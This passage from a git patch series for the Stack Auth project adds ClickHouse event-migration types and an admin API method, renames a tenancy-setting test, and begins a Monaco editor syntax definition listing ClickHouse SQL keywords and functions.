+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
@@ -238,7 +238,7 @@ it("can execute query and hit custom timeout", async ({ expect }) => {
 
 });
 
-it("sets SQL_tenancy_id setting in query", async ({ expect }) => {
+it("sets SQL_project_id and SQL_branch_id settings in query", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
@@ -246,7 +246,7 @@ it("sets SQL_tenancy_id setting in query", async ({ expect }) => {
     method: "POST",
     accessType: "admin",
     body: {
-      query: "SELECT getSetting('SQL_tenancy_id') AS tenancy_id;",
+      query: "SELECT getSetting('SQL_project_id') AS project_id, getSetting('SQL_branch_id') AS branch_id;",
     },
   });
 
@@ -254,7 +254,12 @@ it("sets SQL_tenancy_id setting in query", async ({ expect }) => {
     NiceResponse {
       "status": 200,
       "body": {
-        "result": [{ "tenancy_id": "<stripped UUID>" }],
+        "result": [
+          {
+            "branch_id": "main",
+            "project_id": "<stripped UUID>",
+          },
+        ],
         "stats": {
           "cpu_time": <stripped field 'cpu_time'>,
           "wall_clock_time": <stripped field 'wall_clock_time'>,
diff --git a/packages/stack-shared/src/interface/admin-interface.ts b/packages/stack-shared/src/interface/admin-interface.ts
index 40c80d5831..dd64af8bfd 100644
--- a/packages/stack-shared/src/interface/admin-interface.ts
+++ b/packages/stack-shared/src/interface/admin-interface.ts
@@ -40,6 +40,30 @@ export type InternalApiKeyCreateCrudResponse = InternalApiKeysCrud["Admin"]["Rea
   super_secret_admin_key?: string,
 };
 
+export type ClickhouseMigrationRequest = {
+  min_created_at_millis: number,
+  max_created_at_millis: number,
+  cursor?: {
+    created_at_millis: number,
+    id: string,
+  },
+  limit?: number,
+};
+
+export type ClickhouseMigrationResponse = {
+  total_events: number,
+  processed_events: number,
+  remaining_events: number,
+  migrated_events: number,
+  skipped_existing_events: number,
+  inserted_rows: number,
+  progress: number,
+  next_cursor: {
+    created_at_millis: number,
+    id: string,
+  } | null,
+};
+
 export class StackAdminInterface extends StackServerInterface {
   constructor(public readonly options: AdminAuthApplicationOptions) {
     super(options);
@@ -625,4 +649,19 @@ export class StackAdminInterface extends StackServerInterface {
     return await response.json();
   }
 
+  async migrateEventsToClickhouse(options: ClickhouseMigrationRequest): Promise<ClickhouseMigrationResponse> {
+    const response = await this.sendAdminRequest(
+      "/internal/clickhouse/migrate-events",
+      {
+        method: "POST",
+        headers: {
+          "content-type": "application/json",
+        },
+        body: JSON.stringify(options),
+      },
+      null,
+    );
+    return await response.json();
+  }
+
 }

From 39f94c9b7f08fd438882aa5fcedd996ca3175878 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Thu, 18 Dec 2025 10:19:32 -0800
Subject: [PATCH 09/25] fix frontend build

---
 .../projects/[projectId]/clickhouse-migration/page-client.tsx   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page-client.tsx b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page-client.tsx
index e855f1a254..aacb85566b 100644
--- a/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page-client.tsx
+++ b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page-client.tsx
@@ -1,7 +1,7 @@
 "use client";
 
 import { ClickhouseMigrationRequest, ClickhouseMigrationResponse } from "@stackframe/stack-shared/dist/interface/admin-interface";
-import { Button, Card, CardContent, CardHeader, CardTitle, Input, Typography, Alert } from "@stackframe/stack-ui";
+import { Button, Card, CardContent, CardHeader, CardTitle, Input, Typography, Alert } from "@/components/ui";
 import React from "react";
 import { PageLayout } from "../page-layout";
 import { useAdminApp } from "../use-admin-app";

From beae857aaa119d81cd00035063e2909eeb2b453a Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Thu, 18 Dec 2025 10:21:44 -0800
Subject: [PATCH 10/25] fix lint

---
 apps/dashboard/src/components/ui/data-table/data-table.tsx | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/apps/dashboard/src/components/ui/data-table/data-table.tsx b/apps/dashboard/src/components/ui/data-table/data-table.tsx
index 7fad4dd06c..0ec822446b 100644
--- a/apps/dashboard/src/components/ui/data-table/data-table.tsx
+++ b/apps/dashboard/src/components/ui/data-table/data-table.tsx
@@ -200,6 +200,8 @@ export function DataTableManualPagination<TData, TValue>({
       });
       setCursors(c => nextCursor ? { ...c, [pagination.pageIndex + 1]: nextCursor } : c);
     });
+    // todo: check if we can fix this
+    // eslint-disable-next-line react-hooks/exhaustive-deps
   }, [pagination, sorting, columnFilters, refreshCounter]);
 
   // Reset to first page when filters change

From 8c030db4ba92d37740e97766611e29bc1612183b Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Thu, 18 Dec 2025 11:58:37 -0800
Subject: [PATCH 11/25] add query analytics page

---
 .../query-analytics/monaco-clickhouse.ts      | 1376 +++++++++++++++++
 .../query-analytics/page-client.tsx           |  215 +++
 .../[projectId]/query-analytics/page.tsx      |    5 +
 .../src/interface/admin-interface.ts          |   23 +
 .../src/interface/crud/analytics.ts           |   10 +
 .../apps/implementations/admin-app-impl.ts    |    5 +
 .../stack-app/apps/interfaces/admin-app.ts    |    2 +
 7 files changed, 1636 insertions(+)
 create mode 100644 apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/monaco-clickhouse.ts
 create mode 100644 apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/page-client.tsx
 create mode 100644 apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/page.tsx
 create mode 100644 packages/stack-shared/src/interface/crud/analytics.ts

diff --git a/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/monaco-clickhouse.ts b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/monaco-clickhouse.ts
new file mode 100644
index 0000000000..ff68f57e2f
--- /dev/null
+++ b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/monaco-clickhouse.ts
@@ -0,0 +1,1376 @@
+import type { Monaco } from "@monaco-editor/react";
+
+type LanguageConfiguration = Parameters<Monaco["languages"]["setLanguageConfiguration"]>[1];
+type MonarchLanguage = Parameters<Monaco["languages"]["setMonarchTokensProvider"]>[1];
+
+const aggregateFunctions = [
+  'count',
+  'min',
+  'max',
+  'sum',
+  'avg',
+  'any',
+  'stddevPop',
+  'stddevSamp',
+  'varPop',
+  'varSamp',
+  'covarPop',
+  'covarSamp',
+  'anyHeavy',
+  'anyLast',
+  'argMin',
+  'argMax',
+  'avgWeighted',
+  'topK',
+  'topKWeighted',
+  'groupArray',
+  'groupUniqArray',
+  'groupArrayInsertAt',
+  'groupArrayMovingAvg',
+  'groupArrayMovingSum',
+  'groupBitAnd',
+  'groupBitOr',
+  'groupBitXor',
+  'groupBitmap',
+  'groupBitmapAnd',
+  'groupBitmapOr',
+  'groupBitmapXor',
+  'sumWithOverflow',
+  'sumMap',
+  'minMap',
+  'maxMap',
+  'skewSamp',
+  'skewPop',
+  'kurtSamp',
+  'kurtPop',
+  'uniq',
+  'uniqExact',
+  'uniqCombined',
+  'uniqCombined64',
+  'uniqHLL12',
+  'quantile',
+  'quantiles',
+  'quantileExact',
+  'quantileExactLow',
+  'quantileExactHigh',
+  'quantileExactWeighted',
+  'quantileTiming',
+  'quantileTimingWeighted',
+  'quantileDeterministic',
+  'quantileTDigest',
+  'quantileTDigestWeighted',
+  'quantileBFloat16',
+  'quantileBFloat16Weighted',
+  'simpleLinearRegression',
+  'stochasticLinearRegression',
+  'stochasticLogisticRegression',
+  'categoricalInformationValue',
+].reduce<string[]>((acc, cur) => {
+  acc.push(cur);
+  // Aggregate Function Combinators
+  [
+    'If',
+    'Array',
+    'Map',
+    'SimpleState',
+    'State',
+    'Merge',
+    'MergeState',
+    'ForEach',
+    'Distinct',
+    'OrDefault',
+    'OrNull',
+    'Resample',
+  ].forEach((suffix) => {
+    acc.push(`${cur}${suffix}`);
+  });
+  return acc;
+}, []);
+
+export const clickhouseTables = {
+  users: [
+    "id",
+    "display_name",
+    "profile_image_url",
+    "primary_email",
+    "primary_email_verified",
+    "signed_up_at",
+    "client_metadata",
+    "client_read_only_metadata",
+    "server_metadata",
+    "is_anonymous",
+    "project_id",
+    "branch_id",
+    "sequence_id",
+    "is_deleted",
+  ],
+  events: [
+    "event_type",
+    "event_at",
+    "data",
+    "project_id",
+    "branch_id",
+    "user_id",
+    "team_id",
+    "created_at",
+  ],
+} as const;
+
+export const conf: LanguageConfiguration = {
+  comments: {
+    lineComment: '--',
+    blockComment: ['/*', '*/'],
+  },
+  brackets: [
+    ['{', '}'],
+    ['[', ']'],
+    ['(', ')'],
+  ],
+  autoClosingPairs: [
+    { open: '{', close: '}' },
+    { open: '[', close: ']' },
+    { open: '(', close: ')' },
+    { open: '"', close: '"' },
+    { open: "'", close: "'" },
+  ],
+  surroundingPairs: [
+    { open: '{', close: '}' },
+    { open: '[', close: ']' },
+    { open: '(', close: ')' },
+    { open: '"', close: '"' },
+    { open: "'", close: "'" },
+  ],
+};
+
+export const language: MonarchLanguage = {
+  defaultToken: '',
+  tokenPostfix: '.sql',
+  ignoreCase: true,
+
+  brackets: [
+    { open: '[', close: ']', token: 'delimiter.square' },
+    { open: '(', close: ')', token: 'delimiter.parenthesis' },
+  ],
+  keywords: [
+    'AES128',
+    'AES256',
+    'ALL',
+    'ALLOWOVERWRITE',
+    'ANALYSE',
+    'ANALYZE',
+    'AND',
+    'ANY',
+    'ARRAY',
+    'AS',
+    'ASC',
+    'AUTHORIZATION',
+    'AZ64',
+    'BACKUP',
+    'BETWEEN',
+    'BINARY',
+    'BLANKSASNULL',
+    'BOTH',
+    'BYTEDICT',
+    'BZIP2',
+    'CASE',
+    'CAST',
+    'CHECK',
+    'CLUSTER',
+    'COLLATE',
+    'COLUMN',
+    'CONSTRAINT',
+    'CREATE',
+    'CREDENTIALS',
+    'CROSS',
+    'CURRENT_DATE',
+    'CURRENT_TIME',
+    'CURRENT_TIMESTAMP',
+    'CURRENT_USER',
+    'CURRENT_USER_ID',
+    'DEFAULT',
+    'DEFERRABLE',
+    'DEFLATE',
+    'DEFRAG',
+    'DELTA',
+    'DELTA32K',
+    'DESC',
+    'DISABLE',
+    'DISTINCT',
+    'DO',
+    'ELSE',
+    'EMPTYASNULL',
+    'ENABLE',
+    'ENCODE',
+    'ENCRYPT',
+    'ENCRYPTION',
+    'END',
+    'ENGINE',
+    'EXCEPT',
+    'EXPLICIT',
+    'FALSE',
+    'FOR',
+    'FOREIGN',
+    'FREEZE',
+    'FROM',
+    'FULL',
+    'GLOBALDICT256',
+    'GLOBALDICT64K',
+    'GRANT',
+    'GROUP',
+    'GZIP',
+    'HAVING',
+    'IDENTITY',
+    'IGNORE',
+    'ILIKE',
+    'IN',
+    'INITIALLY',
+    'INNER',
+    'INTERSECT',
+    'INTO',
+    'IS',
+    'ISNULL',
+    'JOIN',
+    'LANGUAGE',
+    'LEADING',
+    'LEFT',
+    'LIKE',
+    'LIMIT',
+    'LOCALTIME',
+    'LOCALTIMESTAMP',
+    'LUN',
+    'LUNS',
+    'LZO',
+    'LZOP',
+    'MINUS',
+    'MOSTLY16',
+    'MOSTLY32',
+    'MOSTLY8',
+    'NATURAL',
+    'NEW',
+    'NOT',
+    'NOTNULL',
+    'NULL',
+    'NULLS',
+    'OFF',
+    'OFFLINE',
+    'OFFSET',
+    'OID',
+    'OLD',
+    'ON',
+    'ONLY',
+    'OPEN',
+    'OR',
+    'ORDER',
+    'OUTER',
+    'OVERLAPS',
+    'PARALLEL',
+    'PARTITION',
+    'PERCENT',
+    'PERMISSIONS',
+    'PLACING',
+    'PRIMARY',
+    'RAW',
+    'READRATIO',
+    'RECOVER',
+    'REFERENCES',
+    'RESPECT',
+    'REJECTLOG',
+    'RESORT',
+    'RESTORE',
+    'RIGHT',
+    'SELECT',
+    'SESSION_USER',
+    'SIMILAR',
+    'SNAPSHOT',
+    'SOME',
+    'SYSDATE',
+    'SYSTEM',
+    'TABLE',
+    'TAG',
+    'TDES',
+    'TEXT255',
+    'TEXT32K',
+    'THEN',
+    'TIMESTAMP',
+    'TO',
+    'TOP',
+    'TRAILING',
+    'TRUE',
+    'TRUNCATECOLUMNS',
+    'UNION',
+    'UNIQUE',
+    'USER',
+    'USING',
+    'VERBOSE',
+    'WALLET',
+    'WHEN',
+    'WHERE',
+    'WITH',
+    'WITHOUT',
+  ],
+  operators: [
+    'AND',
+    'BETWEEN',
+    'IN',
+    'LIKE',
+    'NOT',
+    'OR',
+    'IS',
+    'NULL',
+    'INTERSECT',
+    'UNION',
+    'INNER',
+    'JOIN',
+    'LEFT',
+    'OUTER',
+    'RIGHT',
+    'GLOBAL',
+  ],
+  builtinFunctions: [
+    // arithmetic
+    'plus',
+    'minus',
+    'multiply',
+    'divide',
+    'intDiv',
+    'intDivOrZero',
+    'modulo',
+    'moduloOrZero',
+    'negate',
+    'abs',
+    'gcd',
+    'lcm',
+    'max2',
+    'min2',
+    // arrays
+    'empty', // also in strings and uuids
+    'notEmpty', // also in strings and uuids
+    'length',
+    'emptyArrayUInt8',
+    'emptyArrayUInt16',
+    'emptyArrayUInt32',
+    'emptyArrayUInt64',
+    'emptyArrayInt8',
+    'emptyArrayInt16',
+    'emptyArrayInt32',
+    'emptyArrayInt64',
+    'emptyArrayFloat32',
+    'emptyArrayFloat64',
+    'emptyArrayDate',
+    'emptyArrayDateTime',
+    'emptyArrayString',
+    'emptyArrayToSingle',
+    'range',
+    'array',
+    'arrayConcat',
+    'arrayElement',
+    'has',
+    'hasAll',
+    'hasAny',
+    'hasSubstr',
+    'indexOf',
+    'arrayCount',
+    'countEqual',
+    'arrayEnumerate',
+    'arrayEnumerateUniq',
+    'arrayPopBack',
+    'arrayPopFront',
+    'arrayPushBack',
+    'arrayPushFront',
+    'arrayResize',
+    'arraySlice',
+    'arraySort',
+    'arrayReverseSort',
+    'arrayUniq',
+    'arrayJoin',
+    'arrayDifference',
+    'arrayDistinct',
+    'arrayEnumerateDense',
+    'arrayIntersect',
+    'arrayReduce',
+    'arrayReduceInRanges',
+    'arrayReverse',
+    'reverse',
+    'arrayFlatten',
+    'arrayCompact',
+    'arrayZip',
+    'arrayAUC',
+    'arrayMap',
+    'arrayFilter',
+    'arrayFill',
+    'arrayReverseFill',
+    'arraySplit',
+    'arrayReverseSplit',
+    'arrayExists',
+    'arrayAll',
+    'arrayFirst',
+    'arrayFirstOrNull',
+    'arrayLast',
+    'arrayLastOrNull',
+    'arrayFirstIndex',
+    'arrayLastIndex',
+    'arrayMin',
+    'arrayMax',
+    'arraySum',
+    'arrayAvg',
+    'arrayCumSum',
+    'arrayCumSumNonNegative',
+    'arrayProduct',
+    // comparison
+    'equals',
+    'notEquals',
+    'less',
+    'greater',
+    'lessOrEquals',
+    'greaterOrEquals',
+    // logical
+    'and',
+    'or',
+    'not',
+    'xor',
+    // type conversion
+    'toInt8',
+    'toInt16',
+    'toInt32',
+    'toInt64',
+    'toInt128',
+    'toInt256',
+    'toInt8OrZero',
+    'toInt16OrZero',
+    'toInt32OrZero',
+    'toInt64OrZero',
+    'toInt128OrZero',
+    'toInt256OrZero',
+    'toInt8OrNull',
+    'toInt16OrNull',
+    'toInt32OrNull',
+    'toInt64OrNull',
+    'toInt128OrNull',
+    'toInt256OrNull',
+    'toInt8OrDefault',
+    'toInt16OrDefault',
+    'toInt32OrDefault',
+    'toInt64OrDefault',
+    'toInt128OrDefault',
+    'toInt256OrDefault',
+    'toUInt8',
+    'toUInt16',
+    'toUInt32',
+    'toUInt64',
+    'toUInt128',
+    'toUInt256',
+    'toUInt8OrZero',
+    'toUInt16OrZero',
+    'toUInt32OrZero',
+    'toUInt64OrZero',
+    'toUInt128OrZero',
+    'toUInt256OrZero',
+    'toUInt8OrNull',
+    'toUInt16OrNull',
+    'toUInt32OrNull',
+    'toUInt64OrNull',
+    'toUInt128OrNull',
+    'toUInt256OrNull',
+    'toUInt8OrDefault',
+    'toUInt16OrDefault',
+    'toUInt32OrDefault',
+    'toUInt64OrDefault',
+    'toUInt128OrDefault',
+    'toUInt256OrDefault',
+    'toFloat32',
+    'toFloat64',
+    'toFloat32OrZero',
+    'toFloat64OrZero',
+    'toFloat32OrNull',
+    'toFloat64OrNull',
+    'toFloat32OrDefault',
+    'toFloat64OrDefault',
+    'toDate',
+    'toDateOrZero',
+    'toDateOrNull',
+    'toDateOrDefault',
+    'toDateTime',
+    'toDateTimeOrZero',
+    'toDateTimeOrNull',
+    'toDateTimeOrDefault',
+    'toDate32',
+    'toDate32OrZero',
+    'toDate32OrNull',
+    'toDate32OrDefault',
+    'toDecimal32',
+    'toDecimal64',
+    'toDecimal128',
+    'toDecimal256',
+    'toDecimal32OrNull',
+    'toDecimal64OrNull',
+    'toDecimal128OrNull',
+    'toDecimal256OrNull',
+    'toDecimal32OrDefault',
+    'toDecimal64OrDefault',
+    'toDecimal128OrDefault',
+    'toDecimal256OrDefault',
+    'toDecimal32OrZero',
+    'toDecimal64OrZero',
+    'toDecimal128OrZero',
+    'toDecimal256OrZero',
+    'toString',
+    'toFixedString',
+    'toStringCutToZero',
+    'reinterpretAsUInt8',
+    'reinterpretAsUInt16',
+    'reinterpretAsUInt32',
+    'reinterpretAsUInt64',
+    'reinterpretAsInt8',
+    'reinterpretAsInt16',
+    'reinterpretAsInt32',
+    'reinterpretAsInt64',
+    'reinterpretAsFloat32',
+    'reinterpretAsFloat64',
+    'reinterpretAsDate',
+    'reinterpretAsDateTime',
+    'reinterpretAsString',
+    'reinterpretAsFixedString',
+    'reinterpretAsUUID',
+    'reinterpret',
+    'CAST',
+    'accurateCast',
+    'accurateCastOrNull',
+    'accurateCastOrDefault',
+    'toInterval',
+    'parseDateTimeBestEffort',
+    'parseDateTime32BestEffort',
+    'parseDateTimeBestEffortUS',
+    'parseDateTimeBestEffortOrNull',
+    'parseDateTime32BestEffortOrNull',
+    'parseDateTimeBestEffortOrZero',
+    'parseDateTime32BestEffortOrZero',
+    'parseDateTimeBestEffortUSOrNull',
+    'parseDateTimeBestEffortUSOrZero',
+    'parseDateTime64BestEffort',
+    'parseDateTime64BestEffortOrNull',
+    'parseDateTime64BestEffortOrZero',
+    'toLowCardinality',
+    'toUnixTimestamp64Milli',
+    'toUnixTimestamp64Micro',
+    'toUnixTimestamp64Nano',
+    'fromUnixTimestamp64Milli',
+    'fromUnixTimestamp64Micro',
+    'fromUnixTimestamp64Nano',
+    'formatRow',
+    'formatRowNoNewline',
+    'snowflakeToDateTime',
+    'snowflakeToDateTime64',
+    'dateTimeToSnowflake',
+    'dateTime64ToSnowflake',
+    // dates and times
+    'timeZone',
+    'toTimeZone',
+    'timeZoneOf',
+    'timeZoneOffset',
+    'toYear',
+    'toQuarter',
+    'toMonth',
+    'toDayOfYear',
+    'toDayOfMonth',
+    'toDayOfWeek',
+    'toHour',
+    'toMinute',
+    'toSecond',
+    'toUnixTimestamp',
+    'toStartOfYear',
+    'toStartOfISOYear',
+    'toStartOfQuarter',
+    'toStartOfMonth',
+    'toMonday',
+    'toStartOfWeek',
+    'toStartOfDay',
+    'toStartOfHour',
+    'toStartOfMinute',
+    'toStartOfSecond',
+    'toStartOfFiveMinute',
+    'toStartOfTenMinutes',
+    'toStartOfFifteenMinutes',
+    'toStartOfInterval',
+    'toTime',
+    'toRelativeYearNum',
+    'toRelativeQuarterNum',
+    'toRelativeMonthNum',
+    'toRelativeWeekNum',
+    'toRelativeDayNum',
+    'toRelativeHourNum',
+    'toRelativeMinuteNum',
+    'toRelativeSecondNum',
+    'toISOYear',
+    'toISOWeek',
+    'toWeek',
+    'toYearWeek',
+    'date_trunc',
+    'date_add',
+    'date_diff',
+    'date_sub',
+    'timestamp_add',
+    'timestamp_sub',
+    'now',
+    'today',
+    'yesterday',
+    'timeSlot',
+    'toYYYYMM',
+    'toYYYYMMDD',
+    'toYYYYMMDDhhmmss',
+    'addYears',
+    'addMonths',
+    'addWeeks',
+    'addDays',
+    'addHours',
+    'addMinutes',
+    'addSeconds',
+    'addQuarters',
+    'subtractYears',
+    'subtractMonths',
+    'subtractWeeks',
+    'subtractDays',
+    'subtractHours',
+    'subtractMinutes',
+    'subtractSeconds',
+    'subtractQuarters',
+    'timeSlots',
+    'formatDateTime',
+    'dateName',
+    'FROM_UNIXTIME',
+    'toModifiedJulianDay',
+    'toModifiedJulianDayOrNull',
+    'fromModifiedJulianDay',
+    'fromModifiedJulianDayOrNull',
+    // strings
+    // 'empty', // also in arrays and uuids
+    // 'notEmpty', // also in arrays and uuids
+    'length',
+    'lengthUTF8',
+    'char_length',
+    'CHAR_LENGTH',
+    'character_length',
+    'CHARACTER_LENGTH',
+    'leftPad',
+    'leftPadUTF8',
+    'rightPad',
+    'rightPadUTF8',
+    'lower',
+    'lcase',
+    'upper',
+    'ucase',
+    'lowerUTF8',
+    'upperUTF8',
+    'isValidUTF8',
+    'toValidUTF8',
+    'repeat',
+    'reverse',
+    'reverseUTF8',
+    'format',
+    'concat',
+    'concatAssumeInjective',
+    'substring',
+    'mid',
+    'substr',
+    'substringUTF8',
+    'appendTrailingCharIfAbsent',
+    'convertCharset',
+    'base64Encode',
+    'base64Decode',
+    'tryBase64Decode',
+    'endsWith',
+    'startsWith',
+    'trim',
+    'trimLeft',
+    'trimRight',
+    'trimBoth',
+    'CRC32',
+    'CRC32IEEE',
+    'CRC64',
+    'normalizeQuery',
+    'normalizedQueryHash',
+    'normalizeUTF8NFC',
+    'normalizeUTF8NFD',
+    'normalizeUTF8NFKC',
+    'normalizeUTF8NFKD',
+    'encodeXMLComponent',
+    'decodeXMLComponent',
+    'extractTextFromHTML',
+    // for searching in strings
+    'position',
+    'locate',
+    'positionCaseInsensitive',
+    'positionUTF8',
+    'positionCaseInsensitiveUTF8',
+    'multiSearchAllPositions',
+    'multiSearchAllPositionsUTF8',
+    'multiSearchFirstPosition',
+    'multiSearchFirstIndex',
+    'multiSearchAny',
+    'match',
+    'multiMatchAny',
+    'multiMatchAnyIndex',
+    'multiMatchAllIndices',
+    'multiFuzzyMatchAny',
+    'multiFuzzyMatchAnyIndex',
+    'multiFuzzyMatchAllIndices',
+    'extract',
+    'extractAll',
+    'extractAllGroupsHorizontal',
+    'extractAllGroupsVertical',
+    'like',
+    'notLike',
+    'ilike',
+    'ngramDistance',
+    'ngramSearch',
+    'countSubstrings',
+    'countSubstringsCaseInsensitive',
+    'countSubstringsCaseInsensitiveUTF8',
+    'countMatches',
+    // for replacing in strings
+    'replaceOne',
+    'replaceAll',
+    'replace',
+    'replaceRegexpOne',
+    'replaceRegexpAll',
+    'regexpQuoteMeta',
+    // conditional
+    'if',
+    'multiIf',
+    // functions for working with files
+    'file',
+    // mathematical
+    'e',
+    'pi',
+    'exp',
+    'log',
+    'ln',
+    'exp2',
+    'log2',
+    'exp10',
+    'log10',
+    'sqrt',
+    'cbrt',
+    'erf',
+    'erfc',
+    'lgamma',
+    'tgamma',
+    'sin',
+    'cos',
+    'tan',
+    'asin',
+    'acos',
+    'atan',
+    'pow',
+    'power',
+    'intExp2',
+    'intExp10',
+    'cosh',
+    'acosh',
+    'sinh',
+    'asinh',
+    'atanh',
+    'atan2',
+    'hypot',
+    'log1p',
+    'sign',
+    'degrees',
+    'radians',
+    // rounding
+    'floor',
+    'ceil',
+    'ceiling',
+    'trunc',
+    'truncate',
+    'round',
+    'roundBankers',
+    'roundToExp2',
+    'roundDuration',
+    'roundAge',
+    'roundDown',
+    // working with maps
+    'map',
+    'mapAdd',
+    'mapSubstract',
+    'mapPopulateSeries',
+    'mapContains',
+    'mapKeys',
+    'mapValues',
+    'mapContainsKeyLike',
+    'mapExtractKeyLike',
+    // splitting and merging strings and arrays
+    'splitByChar',
+    'splitByString',
+    'splitByRegexp',
+    'splitByWhitespace',
+    'splitByNonAlpha',
+    'arrayStringConcat',
+    'alphaTokens',
+    'extractAllGroups',
+    'ngrams',
+    'tokens',
+    // bit
+    'bitAnd',
+    'bitOr',
+    'bitXor',
+    'bitNot',
+    'bitShiftLeft',
+    'bitShiftRight',
+    'bitRotateLeft',
+    'bitRotateRight',
+    'bitSlice',
+    'bitTest',
+    'bitTestAll',
+    'bitTestAny',
+    'bitCount',
+    'bitHammingDistance',
+    // bitmap
+    'bitmapBuild',
+    'bitmapToArray',
+    'bitmapSubsetInRange',
+    'bitmapSubsetLimit',
+    'subBitmap',
+    'bitmapContains',
+    'bitmapHasAny',
+    'bitmapHasAll',
+    'bitmapCardinality',
+    'bitmapMin',
+    'bitmapMax',
+    'bitmapTransform',
+    'bitmapAnd',
+    'bitmapOr',
+    'bitmapXor',
+    'bitmapAndnot',
+    'bitmapAndCardinality',
+    'bitmapOrCardinality',
+    'bitmapXorCardinality',
+    'bitmapAndnotCardinality',
+    // hash
+    'halfMD5',
+    'MD4',
+    'MD5',
+    'sipHash64',
+    'sipHash128',
+    'cityHash64',
+    'intHash32',
+    'intHash64',
+    'SHA1',
+    'SHA224',
+    'SHA256',
+    'SHA512',
+    'BLAKE3',
+    'URLHash',
+    'farmFingerprint64',
+    'farmHash64',
+    'javaHash',
+    'javaHashUTF16LE',
+    'hiveHash',
+    'metroHash64',
+    'jumpConsistentHash',
+    'murmurHash2_32',
+    'murmurHash2_64',
+    'gccMurmurHash',
+    'murmurHash3_32',
+    'murmurHash3_64',
+    'murmurHash3_128',
+    'xxHash32',
+    'xxHash64',
+    'ngramSimHash',
+    'ngramSimHashCaseInsensitive',
+    'ngramSimHashUTF8',
+    'ngramSimHashCaseInsensitiveUTF8',
+    'wordShingleSimHash',
+    'wordShingleSimHashCaseInsensitive',
+    'wordShingleSimHashUTF8',
+    'wordShingleSimHashCaseInsensitiveUTF8',
+    'ngramMinHash',
+    'ngramMinHashCaseInsensitive',
+    'ngramMinHashUTF8',
+    'ngramMinHashCaseInsensitiveUTF8',
+    'ngramMinHashArg',
+    'ngramMinHashArgCaseInsensitive',
+    'ngramMinHashArgUTF8',
+    'ngramMinHashArgCaseInsensitiveUTF8',
+    'wordShingleMinHash',
+    'wordShingleMinHashCaseInsensitive',
+    'wordShingleMinHashUTF8',
+    'wordShingleMinHashCaseInsensitiveUTF8',
+    'wordShingleMinHashArg',
+    'wordShingleMinHashArgCaseInsensitive',
+    'wordShingleMinHashArgUTF8',
+    'wordShingleMinHashArgCaseInsensitiveUTF8',
+    // pseudo-random numbers
+    'rand',
+    'rand32',
+    'rand64',
+    'randConstant',
+    'randomString',
+    'randomFixedString',
+    'randomPrintableASCII',
+    'randomStringUTF8',
+    'fuzzBits',
+    // encoding
+    'char',
+    'hex',
+    'unhex',
+    'bin',
+    'unbin',
+    'UUIDStringToNum',
+    'UUIDNumToString',
+    'bitmaskToList',
+    'bitmaskToArray',
+    'bitPositionsToArray',
+    // uuid
+    'generateUUIDv4',
+    // 'empty', // also in arrays and strings
+    // 'notEmpty', // also in arrays and strings
+    'toUUID',
+    'toUUIDOrNull',
+    'toUUIDOrZero',
+    'UUIDStringToNum',
+    'UUIDNumToString',
+    'serverUUID',
+    // urls
+    'protocol',
+    'domain',
+    'domainWithoutWWW',
+    'topLevelDomain',
+    'firstSignificantSubdomain',
+    'cutToFirstSignificantSubdomain',
+    'cutToFirstSignificantSubdomainWithWWW',
+    'cutToFirstSignificantSubdomainCustom',
+    'cutToFirstSignificantSubdomainCustomWithWWW',
+    'firstSignificantSubdomainCustom',
+    'port',
+    'path',
+    'pathFull',
+    'queryString',
+    'fragment',
+    'queryStringAndFragment',
+    'extractURLParameter',
+    'extractURLParameters',
+    'extractURLParameterNames',
+    'URLHierarchy',
+    'URLPathHierarchy',
+    'encodeURLComponent',
+    'decodeURLComponent',
+    'encodeURLFormComponent',
+    'decodeURLFormComponent',
+    'netloc',
+    'cutWWW',
+    'cutQueryString',
+    'cutFragment',
+    'cutQueryStringAndFragment',
+    'cutURLParameter',
+    // ip addresses
+    'IPv4NumToString',
+    'IPv4StringToNum',
+    'IPv4StringToNumOrDefault',
+    'IPv4StringToNumOrNull',
+    'IPv4NumToStringClassC',
+    'IPv6NumToString',
+    'IPv6StringToNum',
+    'IPv6StringToNumOrDefault',
+    'IPv6StringToNumOrNull',
+    'IPv4ToIPv6',
+    'cutIPv6',
+    'IPv4CIDRToRange',
+    'IPv6CIDRToRange',
+    'toIPv4',
+    'toIPv4OrDefault',
+    'toIPv4OrNull',
+    'toIPv6',
+    'IPv6StringToNumOrDefault',
+    'IPv6StringToNumOrNull',
+    'isIPv4String',
+    'isIPv6String',
+    'isIPAddressInRange',
+    // json
+    'visitParamHas',
+    'visitParamExtractUInt',
+    'visitParamExtractInt',
+    'visitParamExtractFloat',
+    'visitParamExtractBool',
+    'visitParamExtractRaw',
+    'visitParamExtractString',
+    'isValidJSON',
+    'JSONHas',
+    'JSONLength',
+    'JSONType',
+    'JSONExtractUInt',
+    'JSONExtractInt',
+    'JSONExtractFloat',
+    'JSONExtractBool',
+    'JSONExtractString',
+    'JSONExtract',
+    'JSONExtractKeysAndValues',
+    'JSONExtractKeys',
+    'JSONExtractRaw',
+    'JSONExtractArrayRaw',
+    'JSONExtractKeysAndValuesRaw',
+    'JSON_EXISTS',
+    'JSON_QUERY',
+    'JSON_VALUE',
+    'toJSONString',
+    // external dictonaries
+    'dictGet',
+    'dictGetOrDefault',
+    'dictGetOrNull',
+    'dictHas',
+    'dictGetHierarchy',
+    'dictIsIn',
+    'dictGetChildren',
+    'dictGetDescendant',
+    'dictGetInt8',
+    'dictGetInt8OrDefault',
+    'dictGetInt16',
+    'dictGetInt16OrDefault',
